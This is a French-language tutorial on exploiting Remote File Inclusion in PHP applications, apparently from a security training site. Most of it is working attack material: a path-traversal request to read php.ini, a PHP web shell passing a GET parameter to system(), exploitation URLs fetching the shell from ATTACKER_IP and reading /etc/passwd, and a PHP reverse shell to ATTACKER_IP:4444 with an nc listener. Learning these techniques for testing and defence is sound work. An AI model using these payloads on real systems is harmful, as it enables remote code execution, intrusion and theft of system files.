La Remote File Inclusion (RFI) est la variante la plus dangereuse des failles d’inclusion. Elle permet d’inclure et d’exécuter directement un fichier PHP hébergé sur un serveur que l’attaquant contrôle.
Conditions nécessaires à une RFI
allow_url_fopen = Ondans php.ini (activé par défaut depuis PHP 4.3)allow_url_include = Ondans php.ini (désactivé par défaut depuis PHP 5.2)- Une faille d’inclusion avec entrée utilisateur non filtrée
# Vérifier la configuration PHP via LFI
?page=../../../../etc/php/8.1/apache2/php.ini
# Chercher "allow_url_include" dans le résultat
Exploitation d’une RFI basique
Etape 1 : Préparer le fichier malveillant
<?php
// shell.php - hébergé sur le serveur de l'attaquant
system($_GET['cmd']);
?>
Etape 2 : Héberger le fichier
# Serveur HTTP Python rapide
python3 -m http.server 8080
# Accessible à : http://ATTACKER_IP:8080/shell.php
Etape 3 : Exploiter la RFI
?page=http://ATTACKER_IP:8080/shell
?page=http://ATTACKER_IP:8080/shell&cmd=id
?page=http://ATTACKER_IP:8080/shell&cmd=cat+/etc/passwd
RFI avec un reverse shell
<?php
// revshell.php
$ip = 'ATTACKER_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>
nc -lvnp 4444 # Ecouter
?page=http://ATTACKER_IP:8080/revshell # Declencher
Differences LFI vs RFI
| Critère | LFI | RFI |
|---|---|---|
| Fichier source | Local (sur le serveur) | Distant (serveur attaquant) |
| Execution PHP | Via log poisoning | Directe et immédiate |
| Config PHP requise | Aucune | allow_url_include = On |
| Prévalence | Fréquente | Rare (désactivée par défaut) |
- La RFI nécessite
allow_url_include = On, désactivé par défaut depuis PHP 5.2 - Elle permet une exécution de code immédiate sans log poisoning
- Un simple
python3 -m http.serversuffit pour héberger le payload

-
Add a note